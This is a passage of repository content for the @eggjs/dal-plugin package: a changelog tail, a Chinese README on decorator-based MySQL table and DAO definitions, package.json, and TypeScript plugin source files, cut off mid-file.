([a411f04](https://github.com/eggjs/tegg/commit/a411f04e074425419b5b348a362f120bf8189541))\n* impl Date/timestamp on update ([#203](https://github.com/eggjs/tegg/issues/203)) ([e5c7b8d](https://github.com/eggjs/tegg/commit/e5c7b8d529f2854b77de2e99369c781a4ea9e070))\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n\n### Features\n\n* impl dal for standalone tegg ([#197](https://github.com/eggjs/tegg/issues/197)) ([56b259d](https://github.com/eggjs/tegg/commit/56b259d7215a9d9542b36e421996623819369846))\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-dal-plugin\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n\n### Bug Fixes\n\n* set column canNull default to false ([#195](https://github.com/eggjs/tegg/issues/195)) ([24628ec](https://github.com/eggjs/tegg/commit/24628ec5a3cd167dc44a50017450d0dedec2c9ce))\n\n\n### Features\n\n* impl dal ([#192](https://github.com/eggjs/tegg/issues/192)) ([1c7d145](https://github.com/eggjs/tegg/commit/1c7d1454bc8c600cd58c3ec7b9cda4e8a98c7287))\n"
  },
  {
    "path": "tegg/plugin/dal/README.md",
    "content": "# @eggjs/dal-plugin\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/dal-plugin.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/dal-plugin.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/dal-plugin\n[snyk-image]: https://snyk.io/test/npm/@eggjs/dal-plugin/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/dal-plugin\n[download-image]: https://img.shields.io/npm/dm/@eggjs/dal-plugin.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/dal-plugin\n\n@eggjs/dal-plugin 支持使用注解的方式来开发 egg 中的 dal。\n\n## egg 模式\n\n### Install\n\n```shell\n# tegg 注解\nnpm i --save @eggjs/tegg\n# tegg 插件\nnpm i --save @eggjs/tegg-plugin\n# tegg dal 插件\nnpm i --save @eggjs/dal-plugin\n```\n\n### Prepare\n\n```json\n// tsconfig.json\n{\n  \"extends\": \"@eggjs/tsconfig\"\n}\n```\n\n### Config\n\n```js\n// config/plugin.js\nexports.tegg = {\n  package: '@eggjs/tegg-plugin',\n  enable: true,\n};\n\nexports.teggDal = {\n  package: '@eggjs/dal-plugin',\n  enable: true,\n};\n```\n\n## standalone 模式\n\n### Install\n\n```shell\n# tegg 注解\nnpm i --save @eggjs/tegg\n# tegg dal 插件\nnpm i --save @eggjs/dal-plugin\n```\n\n### Prepare\n\n```json\n// tsconfig.json\n{\n  \"extends\": \"@eggjs/tsconfig\"\n}\n```\n\n## Usage\n\n### module.yml\n\n通过 module.yml 来配置 module 中的 mysql 数据源。\n\n```yaml\ndataSource:\n  # 数据源名称，可以在 @Table 注解中指定\n  # 如果 module 中只有一个 dataSource，@Table 会默认使用这个数据源\n  foo:\n    connectionLimit: 100\n    database: 'test'\n    host: '127.0.0.1'\n    user: root\n    port: 3306\n```\n\n### Table\n\n`TableModel` 定义一个表结构，包括表配置、列、索引。\n\n```ts\nimport { Table, Index, Column, ColumnType, IndexType } from '@eggjs/tegg/dal';\n\n// 定义了一个表\n@Table({\n  comment: 'foo table',\n})\n// 定义了一个唯一索引，列是 name\n@Index({\n  keys: ['name'],\n  type: IndexType.UNIQUE,\n})\nexport class Foo {\n  // 定义了主键，类型是 int\n  @Column(\n    {\n      type: ColumnType.INT,\n    },\n    {\n      primaryKey: true,\n    }\n  )\n  id: number;\n\n  // 定义了 name 列，类型是 varchar\n  @Column({\n    type: ColumnType.VARCHAR,\n    length: 100,\n  })\n  name: string;\n}\n```\n\n详细参数定义如下，具体参数值可以参考 https://dev.mysql.com/doc/refman/8.0/en/create-table.html\n\n建表参数，使用方式为 `@Table(parmas?: TableParams)`\n\n```ts\nexport interface TableParams {\n  // 数据库表名\n  name?: string;\n  // 数据源名称，如果 module 只有一个 dataSource 则默认使用这个\n  dataSourceName?: string;\n  comment?: string;\n  autoExtendSize?: number;\n  autoIncrement?: number;\n  avgRowLength?: number;\n  characterSet?: string;\n  collate?: string;\n  compression?: CompressionType;\n  encryption?: boolean;\n  engine?: string;\n  engineAttribute?: string;\n  insertMethod?: InsertMethod;\n  keyBlockSize?: number;\n  maxRows?: number;\n  minRows?: number;\n  rowFormat?: RowFormat;\n  secondaryEngineAttribute?: string;\n}\n```\n\n建索引参数，使用方式为 `@Index(parmas?: IndexParams)`\n\n```ts\nexport interface IndexParams {\n  // 索引的列\n  keys: string[];\n  // 索引名称，如果未指定会用 列名拼接\n  // 如 [column1, column2 ]\n  // 普通索引为 idx_column1_column2\n  // 唯一索引为 uk_column1_column2\n  name?: string;\n  type?: IndexType;\n  storeType?: IndexStoreType;\n  comment?: string;\n  engineAttribute?: string;\n  secondaryEngineAttribute?: string;\n  parser?: string;\n}\n```\n\n建列参数，使用方式为 `@Column(type: ColumnTypeParams, parmas?: ColumnParams)`\n\n```ts\nexport interface ColumnParams {\n  // 列名，默认转换规则 userName 至 user_name\n  name?: string;\n  // 默认值\n  default?: string;\n  // 是否可控，默认为 false\n  canNull?: boolean;\n  comment?: string;\n  visible?: boolean;\n  autoIncrement?: boolean;\n  uniqueKey?: boolean;\n  primaryKey?: boolean;\n  collate?: string;\n  columnFormat?: ColumnFormat;\n  engineAttribute?: string;\n  secondaryEngineAttribute?: string;\n}\n```\n\n支持的类型\n\n```ts\nexport enum ColumnType {\n  // Numeric\n  BIT = 'BIT',\n  TINYINT = 'TINYINT',\n  BOOL = 'BOOL',\n  SMALLINT = 'SMALLINT',\n  MEDIUMINT = 'MEDIUMINT',\n  INT = 'INT',\n  BIGINT = 'BIGINT',\n  DECIMAL = 'DECIMAL',\n  FLOAT = 'FLOAT',\n  DOUBLE = 'DOUBLE',\n  // Date\n  DATE = 'DATE',\n  DATETIME = 'DATETIME',\n  TIMESTAMP = 'TIMESTAMP',\n  TIME = 'TIME',\n  YEAR = 'YEAR',\n  // String\n  CHAR = 'CHAR',\n  VARCHAR = 'VARCHAR',\n  BINARY = 'BINARY',\n  VARBINARY = 'VARBINARY',\n  TINYBLOB = 'TINYBLOB',\n  TINYTEXT = 'TINYTEXT',\n  BLOB = 'BLOB',\n  TEXT = 'TEXT',\n  MEDIUMBLOB = 'MEDIUMBLOB',\n  MEDIUMTEXT = 'MEDIUMTEXT',\n  LONGBLOB = 'LONGBLOB',\n  LONGTEXT = 'LONGTEXT',\n  ENUM = 'ENUM',\n  SET = 'SET',\n  // JSON\n  JSON = 'JSON',\n  // Spatial\n  GEOMETRY = 'GEOMETRY',\n  POINT = 'POINT',\n  LINESTRING = 'LINESTRING',\n  POLYGON = 'POLYGON',\n  MULTIPOINT = 'MULTIPOINT',\n  MULTILINESTRING = 'MULTILINESTRING',\n  MULTIPOLYGON = 'MULTIPOLYGON',\n  GEOMETRYCOLLECTION = 'GEOMETRYCOLLECTION',\n}\n```\n\n支持的类型参数，详细可参考 https://dev.mysql.com/doc/refman/8.0/en/data-types.html\n\n如果 mysql 类型和 ts 类型对应关系不确定可直接使用 `ColumnTsType` 类型，如\n\n```ts\nimport { Table, Index, Column, ColumnType, IndexType, ColumnTsType } from '@eggjs/tegg/dal';\n\n// 定义了一个表\n@Table({\n  comment: 'foo table',\n})\n// 定义了一个唯一索引，列是 name\n@Index({\n  keys: ['name'],\n  type: IndexType.UNIQUE,\n})\nexport class Foo {\n  // 定义了主键，类型是 int\n  @Column(\n    {\n      type: ColumnType.INT,\n    },\n    {\n      primaryKey: true,\n    }\n  )\n  id: ColumnTsType['INT'];\n\n  // 定义了 name 列，类型是 varchar\n  @Column({\n    type: ColumnType.VARCHAR,\n    length: 100,\n  })\n  name: ColumnTsType['VARCHAR'];\n}\n```\n\n```ts\n// Bit 类型，对应 js 中的 Buffer\nexport interface BitParams {\n  type: ColumnType.BIT;\n  // Bit 长度\n  length?: number;\n}\n\n// Bool 类型，注意在 js 中需要使用 0 或者 1\nexport interface BoolParams {\n  type: ColumnType.BOOL;\n}\n\n// TinyInt 类型，对应 js 中的 number\nexport interface TinyIntParams {\n  type: ColumnType.TINYINT;\n  length?: number;\n  unsigned?: boolean;\n  zeroFill?: boolean;\n}\n\n// SmallInt 类型，对应 js 中的 number\nexport interface SmallIntParams {\n  type: ColumnType.SMALLINT;\n  length?: number;\n  unsigned?: boolean;\n  zeroFill?: boolean;\n}\n\n// MediumInt 类型，对应 js 中的 number\nexport interface MediumIntParams {\n  type: ColumnType.MEDIUMINT;\n  length?: number;\n  unsigned?: boolean;\n  zeroFill?: boolean;\n}\n\n// MediumInt 类型，对应 js 中的 number\nexport interface IntParams {\n  type: ColumnType.INT;\n  length?: number;\n  unsigned?: boolean;\n  zeroFill?: boolean;\n}\n\n// BigInt 类型，对应 js 中的 string\nexport interface BigIntParams {\n  type: ColumnType.BIGINT;\n  length?: number;\n  unsigned?: boolean;\n  zeroFill?: boolean;\n}\n\n// Decimal 类型，对应 js 中的 string\nexport interface DecimalParams {\n  type: ColumnType.DECIMAL;\n  length?: number;\n  fractionalLength?: number;\n  unsigned?: boolean;\n  zeroFill?: boolean;\n}\n\n// Float 类型，对应 js 中的 number\nexport interface FloatParams {\n  type: ColumnType.FLOAT;\n  length?: number;\n  fractionalLength?: number;\n  unsigned?: boolean;\n  zeroFill?: boolean;\n}\n\n// Double 类型，对应 js 中的 number\nexport interface DoubleParams {\n  type: ColumnType.DOUBLE;\n  length?: number;\n  fractionalLength?: number;\n  unsigned?: boolean;\n  zeroFill?: boolean;\n}\n\n// Date 类型，对应 js 中的 Date\nexport interface DateParams {\n  type: ColumnType.DATE;\n}\n\n// DateTime 类型，对应 js 中的 Date\nexport interface DateTimeParams {\n  type: ColumnType.DATETIME;\n  precision?: number;\n  // 自动添加 ON UPDATE CURRENT_TIMESTAMP\n  // 如果有精度则为 ON UPDATE CURRENT_TIMESTAMP(precision)\n  autoUpdate?: boolean;\n}\n\n// Timestamp 类型，对应 js 中的 Date\nexport interface TimestampParams {\n  type: ColumnType.TIMESTAMP;\n  precision?: number;\n  // 自动添加 ON UPDATE CURRENT_TIMESTAMP\n  // 如果有精度则为 ON UPDATE CURRENT_TIMESTAMP(precision)\n  autoUpdate?: boolean;\n}\n\n// Times 类型，对应 js 中的 string\nexport interface TimeParams {\n  type: ColumnType.TIME;\n  precision?: number;\n}\n\n// Year 类型，对应 js 中的 number\nexport interface YearParams {\n  type: ColumnType.YEAR;\n}\n\n// Char 类型，对应 js 中的 string\nexport interface CharParams {\n  type: ColumnType.CHAR;\n  length?: number;\n  characterSet?: string;\n  collate?: string;\n}\n\n// VarChar 类型，对应 js 中的 string\nexport interface VarCharParams {\n  type: ColumnType.VARCHAR;\n  length: number;\n  characterSet?: string;\n  collate?: string;\n}\n\n// Binary 类型，对应 js 中的 Buffer\nexport interface BinaryParams {\n  type: ColumnType.BINARY;\n  length?: number;\n}\n\n// VarBinary 类型，对应 js 中的 Buffer\nexport interface VarBinaryParams {\n  type: ColumnType.VARBINARY;\n  length: number;\n}\n\n// TinyBlob 类型，对应 js 中的 Buffer\nexport interface TinyBlobParams {\n  type: ColumnType.TINYBLOB;\n}\n\n// TinyText 类型，对应 js 中的 string\nexport interface TinyTextParams {\n  type: ColumnType.TINYTEXT;\n  characterSet?: string;\n  collate?: string;\n}\n\n// Blob 类型，对应 js 中的 Buffer\nexport interface BlobParams {\n  type: ColumnType.BLOB;\n  length?: number;\n}\n\n// Text 类型，对应 js 中的 string\nexport interface TextParams {\n  type: ColumnType.TEXT;\n  length?: number;\n  characterSet?: string;\n  collate?: string;\n}\n\n// MediumBlob 类型，对应 js 中的 Buffer\nexport interface MediumBlobParams {\n  type: ColumnType.MEDIUMBLOB;\n}\n\n// LongBlob 类型，对应 js 中的 Buffer\nexport interface LongBlobParams {\n  type: ColumnType.LONGBLOB;\n}\n\n// MediumText 类型，对应 js 中的 string\nexport interface MediumTextParams {\n  type: ColumnType.MEDIUMTEXT;\n  characterSet?: string;\n  collate?: string;\n}\n\n// LongText 类型，对应 js 中的 string\nexport interface LongTextParams {\n  type: ColumnType.LONGTEXT;\n  characterSet?: string;\n  collate?: string;\n}\n\n// Enum 类型，对应 js 中的 string\nexport interface EnumParams {\n  type: ColumnType.ENUM;\n  enums: string[];\n  characterSet?: string;\n  collate?: string;\n}\n\n// Set 类型，对应 js 中的 string\nexport interface SetParams {\n  type: ColumnType.SET;\n  enums: string[];\n  characterSet?: string;\n  collate?: string;\n}\n\n// Json 类型，对应 js 中的 Object\nexport interface JsonParams {\n  type: ColumnType.JSON;\n}\n\n// Gemotry 类型，对应 Point, Line, Polygon\nexport interface GeometryParams {\n  type: ColumnType.GEOMETRY;\n  SRID?: number;\n}\n\nexport interface PointParams {\n  type: ColumnType.POINT;\n  SRID?: number;\n}\n\nexport interface LinestringParams {\n  type: ColumnType.LINESTRING;\n  SRID?: number;\n}\n\nexport interface PolygonParams {\n  type: ColumnType.POLYGON;\n  SRID?: number;\n}\n\nexport interface MultiPointParams {\n  type: ColumnType.MULTIPOINT;\n  SRID?: number;\n}\n\nexport interface MultiLinestringParams {\n  type: ColumnType.MULTILINESTRING;\n  SRID?: number;\n}\n\nexport interface MultiPolygonParams {\n  type: ColumnType.MULTIPOLYGON;\n  SRID?: number;\n}\n\n// GeometryCollection 对应 Array<Point | Line | Ploygon>\nexport interface GeometryCollectionParams {\n  type: ColumnType.GEOMETRYCOLLECTION;\n  SRID?: number;\n}\n```\n\n### 目录结构\n\n运行 `egg-bin dal gen` 即可生成 `dal` 相关目录，包括 dao、extension、structure\n\n```plain\ndal\n├── dao\n│ ├── FooDAO.ts\n│ └── base\n│     └── BaseFooDAO.ts\n├── extension\n│ └── FooExtension.ts\n└── structure\n    ├── Foo.json\n    └── Foo.sql\n```\n\n- dao: 表访问类，生成的 BaseDAO 请勿修改，其中包含了根据表结构生成的基础访问方法，如 insert/update/delete 以及根据索引信息生成的 find 方法\n- extension: 扩展文件，如果需要自定义 sql，需要在 extension 文件中定义\n- structure: 建表语句以及表结构\n\n### DAO\n\n注入 DAO 即可实现对表的访问\n\n```ts\nimport { SingletonProto, Inject } from '@eggjs/tegg';\n\n@SingletonProto()\nexport class FooRepository {\n  @Inject()\n  private readonly fooDAO: FooDAO;\n\n  async create(foo: Foo) {\n    await this.fooDAO.insert(foo);\n  }\n}\n```\n\n#### 自定义 SQL\n\n1. 在 extension 中定义自定义 SQL\n\n```ts\n// dal/extension/FooExtension.ts\nimport { type SqlMap, SqlType } from '@eggjs/tegg/dal';\n\nexport default {\n  findByName: {\n    type: SqlType.SELECT,\n    sql: 'SELECT {{ allColumns }} FROM egg_foo WHERE name = {{ name }}',\n  },\n} as Record<string, SqlMap>;\n```\n\n2. 在 dao 中定义自定义方法\n\n```ts\nimport { SingletonProto, AccessLevel } from '@eggjs/tegg';\nimport { BaseFooDAO } from './base/BaseFooDAO';\nimport { Foo } from '../../Foo';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport default class FooDAO extends BaseFooDAO {\n  async findByName(name: string): Promise<Foo[]> {\n    return this.dataSource.execute('findByName', {\n      name,\n    });\n  }\n}\n```\n\n支持的自定义 filter\n\n```\n- toPoint\n- toLine\n- toPolygon\n- toGeometry\n- toMultiPoint\n- toMultiLine\n- toMultiPolygon\n- toGeometryCollection\n```\n\n支持自定义 block 来简化 sql, 如内置的 allColumns\n\n```ts\nexport default {\n  findByName: {\n    type: SqlType.BLOCK,\n    sql: 'id, name',\n  },\n} as Record<string, SqlMap>;\n```\n\n### DataSource\n\nDataSource 仅能在 DAO 中使用，可以将 MySQL 返回的数据反序列化为类。支持的方法有\n\n```ts\nexport interface DataSource<T> {\n  // 将返回的行都转换为 T\n  execute(sqlName: string, data?: any): Promise<Array<T>>;\n  // 将返回的行都转换为 T, 仅返回第一条\n  executeScalar(sqlName: string, data?: any): Promise<T | null>;\n  // 直接返回 mysql 数据\n  executeRaw(sqlName: string, data?: any): Promise<Array<any>>;\n  // 直接返回 mysql 数据, 仅返回第一条\n  executeRawScalar(sqlName: string, data?: any): Promise<any | null>;\n  // 返回分页数据\n  paginate(sqlName: string, data: any, currentPage: number, perPageCount: number): Promise<any>;\n  // 返回行数\n  count(sqlName: string, data?: any): Promise<number>;\n}\n```\n\n### 时区问题\n\n注意连接配置中的时区必须和数据库的时区完全一致，否则可能出现时间错误的问题。\n\n```yaml\ndataSource:\n  foo:\n    connectionLimit: 100\n    database: 'test'\n    host: '127.0.0.1'\n    user: root\n    port: 3306\n    timezone: '+08:00'\n```\n\n可以通过以下 SQL 来查看数据库时区\n\n```sql\nSELECT @@GLOBAL.time_zone;\n```\n\n## Unittest\n\n可以在 `module.yml` 中开启 forkDb 配置，即可实现 unittest 环境自动创建数据库\n\n```yaml\n# module.yml\ndataSource:\n  foo:\n    # 开启 ci 环境自动创建数据库\n    forkDb: true\n```\n"
  },
  {
    "path": "tegg/plugin/dal/package.json",
    "content": "{\n  \"name\": \"@eggjs/dal-plugin\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"dal plugin for egg\",\n  \"keywords\": [\n    \"dal\",\n    \"egg\",\n    \"module\",\n    \"plugin\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/plugin/dal\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/plugin/dal\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./app/extend/application\": \"./src/app/extend/application.ts\",\n    \"./lib/DalModuleLoadUnitHook\": \"./src/lib/DalModuleLoadUnitHook.ts\",\n    \"./lib/DalTableEggPrototypeHook\": \"./src/lib/DalTableEggPrototypeHook.ts\",\n    \"./lib/DataSource\": \"./src/lib/DataSource.ts\",\n    \"./lib/MysqlDataSourceManager\": \"./src/lib/MysqlDataSourceManager.ts\",\n    \"./lib/SqlMapManager\": \"./src/lib/SqlMapManager.ts\",\n    \"./lib/TableModelManager\": \"./src/lib/TableModelManager.ts\",\n    \"./lib/TransactionalAOP\": \"./src/lib/TransactionalAOP.ts\",\n    \"./lib/TransactionPrototypeHook\": \"./src/lib/TransactionPrototypeHook.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./app/extend/application\": \"./dist/app/extend/application.js\",\n      \"./lib/DalModuleLoadUnitHook\": \"./dist/lib/DalModuleLoadUnitHook.js\",\n      \"./lib/DalTableEggPrototypeHook\": \"./dist/lib/DalTableEggPrototypeHook.js\",\n      \"./lib/DataSource\": \"./dist/lib/DataSource.js\",\n      \"./lib/MysqlDataSourceManager\": \"./dist/lib/MysqlDataSourceManager.js\",\n      \"./lib/SqlMapManager\": \"./dist/lib/SqlMapManager.js\",\n      \"./lib/TableModelManager\": \"./dist/lib/TableModelManager.js\",\n      \"./lib/TransactionalAOP\": \"./dist/lib/TransactionalAOP.js\",\n      \"./lib/TransactionPrototypeHook\": \"./dist/lib/TransactionPrototypeHook.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/aop-decorator\": \"workspace:*\",\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/dal-decorator\": \"workspace:*\",\n    \"@eggjs/dal-runtime\": \"workspace:*\",\n    \"@eggjs/lifecycle\": \"workspace:*\",\n    \"@eggjs/metadata\": \"workspace:*\",\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@eggjs/tegg-loader\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\",\n    \"@eggjs/transaction-decorator\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/aop-plugin\": \"workspace:*\",\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/tegg\": \"workspace:*\",\n    \"@eggjs/tegg-config\": \"workspace:*\",\n    \"@eggjs/tegg-plugin\": \"workspace:*\",\n    \"@eggjs/tracer\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"globby\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"@eggjs/tegg-plugin\": \"workspace:*\",\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"eggModule\": {\n    \"name\": \"teggDal\"\n  },\n  \"eggPlugin\": {\n    \"name\": \"teggDal\",\n    \"strict\": false,\n    \"dependencies\": [\n      \"tegg\"\n    ]\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/dal/src/app/extend/application.ts",
    "content": "import { MysqlDataSourceManager } from '../../lib/MysqlDataSourceManager.ts';\n\nexport default {\n  get mysqlDataSourceManager(): MysqlDataSourceManager {\n    return MysqlDataSourceManager.instance;\n  },\n};\n"
  },
  {
    "path": "tegg/plugin/dal/src/app.ts",
    "content": "import type { Application, ILifecycleBoot } from 'egg';\n\nimport { DalModuleLoadUnitHook } from './lib/DalModuleLoadUnitHook.ts';\nimport { DalTableEggPrototypeHook } from './lib/DalTableEggPrototypeHook.ts';\nimport { MysqlDataSourceManager } from './lib/MysqlDataSourceManager.ts';\nimport { SqlMapManager } from './lib/SqlMapManager.ts';\nimport { TableModelManager } from './lib/TableModelManager.ts';\nimport { TransactionPrototypeHook } from './lib/TransactionPrototypeHook.ts';\n\nexport default class DalAppBootHook implements ILifecycleBoot {\n  private readonly app: Application;\n  private dalTableEggPrototypeHook: DalTableEggPrototypeHook;\n  private dalModuleLoadUnitHook: DalModuleLoadUnitHook;\n  private transactionPrototypeHook: TransactionPrototypeHook;\n\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  configWillLoad(): void {\n    this.dalModuleLoadUnitHook = new DalModuleLoadUnitHook(this.app.config.env, this.app.moduleConfigs);\n    this.dalTableEggPrototypeHook = new DalTableEggPrototypeHook(this.app.logger);\n    this.transactionPrototypeHook = new TransactionPrototypeHook(this.app.moduleConfigs, this.app.logger);\n    this.app.eggPrototypeLifecycleUtil.registerLifecycle(this.dalTableEggPrototypeHook);\n    this.app.eggPrototypeLifecycleUtil.registerLifecycle(this.transactionPrototypeHook);\n    this.app.loadUnitLifecycleUtil.registerLifecycle(this.dalModuleLoadUnitHook);\n  }\n\n  async beforeClose(): Promise<void> {\n    if (this.dalTableEggPrototypeHook) {\n      this.app.eggPrototypeLifecycleUtil.deleteLifecycle(this.dalTableEggPrototypeHook);\n    }\n    if (this.dalModuleLoadUnitHook) {\n      this.app.loadUnitLifecycleUtil.deleteLifecycle(this.dalModuleLoadUnitHook);\n    }\n    if (this.transactionPrototypeHook) {\n      this.app.eggPrototypeLifecycleUtil.deleteLifecycle(this.transactionPrototypeHook);\n    }\n    MysqlDataSourceManager.instance.clear();\n    SqlMapManager.instance.clear();\n    TableModelManager.instance.clear();\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/dal/src/index.ts",
    "content": "import './types.ts';\n\nexport * from './lib/DalModuleLoadUnitHook.ts';\nexport * from './lib/DalTableEggPrototypeHook.ts';\nexport * from './lib/DataSource.ts';\nexport * from './lib/MysqlDataSourceManager.ts';\nexport * from './lib/SqlMapManager.ts';\nexport * from './lib/TableModelManager.ts';\nexport * from './lib/TransactionalAOP.ts';\nexport * from './lib/TransactionPrototypeHook.ts';\n"
  },
  {
    "path": "tegg/plugin/dal/src/lib/DalModuleLoadUnitHook.ts",
    "content": "import { DatabaseForker, type DataSourceOptions } from '@eggjs/dal-runtime';\nimport type { LifecycleHook } from '@eggjs/lifecycle';\nimport type { LoadUnit, LoadUnitLifecycleContext } from '@eggjs/metadata';\nimport type { Logger, ModuleConfigHolder } from '@eggjs/tegg-types';\n\nimport { MysqlDataSourceManager } from './MysqlDataSourceManager.ts';\n\nexport class DalModuleLoadUnitHook implements LifecycleHook<LoadUnitLifecycleContext, LoadUnit> {\n  private readonly moduleConfigs: Record<string, ModuleConfigHolder>;\n  private readonly env: string;\n  private readonly logger?: Logger;\n\n  constructor(env: string, moduleConfigs: Record<string, ModuleConfigHolder>, logger?: Logger) {\n    this.env = env;\n    this.moduleConfigs = moduleConfigs;\n    this.logger = logger;\n  }\n\n  async preCreate(_: LoadUnitLifecycleContext, loadUnit: LoadUnit): Promise<void> {\n    const moduleConfigHolder = this.moduleConfigs[loadUnit.name];\n    if (!moduleConfigHolder) return;\n    const dataSourceConfig: Record<string, DataSourceOptions> | undefined = (moduleConfigHolder.config as any)\n      .dataSource;\n    if (!dataSourceConfig) return;\n    await Promise.all(\n      Object.entries(dataSourceConfig).map(async ([name, config]) => {\n        const dataSourceOptions = {\n          ...config,\n          name,\n          logger: this.logger,\n        };\n        const forker = new DatabaseForker(this.env, dataSourceOptions);\n        if (forker.shouldFork()) {\n          await forker.forkDb(loadUnit.unitPath);\n        }\n\n        try {\n          await MysqlDataSourceManager.instance.createDataSource(loadUnit.name, name, dataSourceOptions);\n        } catch (e) {\n          if (e instanceof Error) {\n            e.message = `create module ${loadUnit.name} datasource ${name} failed: ${e.message}`;\n          }\n          throw e;\n        }\n      }),\n    );\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/dal/src/lib/DalTableEggPrototypeHook.ts",
    "content": "import { DaoInfoUtil, TableModel } from '@eggjs/dal-decorator';\nimport { SqlMapLoader } from '@eggjs/dal-runtime';\nimport type { LifecycleHook } from '@eggjs/lifecycle';\nimport type { EggPrototype, EggPrototypeLifecycleContext } from '@eggjs/metadata';\nimport type { Logger } from '@eggjs/tegg-types';\n\nimport { SqlMapManager } from './SqlMapManager.ts';\nimport { TableModelManager } from './TableModelManager.ts';\n\nexport class DalTableEggPrototypeHook implements LifecycleHook<EggPrototypeLifecycleContext, EggPrototype> {\n  private readonly logger: Logger;\n\n  constructor(logger: Logger) {\n    this.logger = logger;\n  }\n\n  async preCreate(ctx: EggPrototypeLifecycleContext): Promise<void> {\n    if (!DaoInfoUtil.getIsDao(ctx.clazz)) {\n      return;\n    }\n    const tableClazz = ctx.clazz.clazzModel;\n    const tableModel: TableModel<object> = TableModel.build(tableClazz);\n    TableModelManager.instance.set(ctx.loadUnit.name, tableModel);\n    const loader = new SqlMapLoader(tableModel, ctx.clazz, this.logger);\n    const sqlMap = loader.load();\n    SqlMapManager.instance.set(ctx.loadUnit.name, sqlMap);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/dal/src/lib/DataSource.ts",
    "content": "import assert from 'node:assert';\n\nimport {\n  AccessLevel,\n  Inject,\n  LoadUnitNameQualifierAttribute,\n  MultiInstanceInfo,\n  MultiInstanceProto,\n  type MultiInstancePrototypeGetObjectsContext,\n  type ObjectInfo,\n  ObjectInitType,\n} from '@eggjs/core-decorator';\nimport { DataSourceInjectName, DataSourceQualifierAttribute, TableInfoUtil, TableModel } from '@eggjs/dal-decorator';\nimport { DataSource } from '@eggjs/dal-runtime';\nimport { ModuleConfigUtil } from '@eggjs/tegg-common-util';\nimport { LoaderFactory } from '@eggjs/tegg-loader';\nimport { EggLoadUnitType } from '@eggjs/tegg-types';\n\nimport { MysqlDataSourceManager } from './MysqlDataSourceManager.ts';\nimport { SqlMapManager } from './SqlMapManager.ts';\nimport { TableModelManager } from './TableModelManager.ts';\nimport { TransactionalAOP } from './TransactionalAOP.ts';\n\n@MultiInstanceProto({\n  accessLevel: AccessLevel.PUBLIC,\n  initType: ObjectInitType.SINGLETON,\n  async getObjects(ctx: MultiInstancePrototypeGetObjectsContext) {\n    const config = ModuleConfigUtil.loadModuleConfigSync(ctx.unitPath) as any | undefined;\n    const dataSources = Object.keys(config?.dataSource || {});\n    const result: ObjectInfo[] = [];\n    const loader = LoaderFactory.createLoader(ctx.unitPath, EggLoadUnitType.MODULE);\n    const clazzList = await loader.load();\n    const tableClazzList = clazzList.filter((t) => {\n      return TableInfoUtil.getIsTable(t);\n    });\n    const dataSourceLength = dataSources.length;\n    for (const dataSource of dataSources) {\n      const moduleClazzList = tableClazzList.filter((clazz) => {\n        const tableParams = TableInfoUtil.getTableParams(clazz);\n        const dataSourceName = tableParams?.dataSourceName ?? 'default';\n        return dataSourceLength === 1 || dataSourceName === dataSource;\n      });\n      for (const clazz of moduleClazzList) {\n        result.push({\n          name: DataSourceInjectName,\n          qualifiers: [\n            {\n              attribute: DataSourceQualifierAttribute,\n              value: 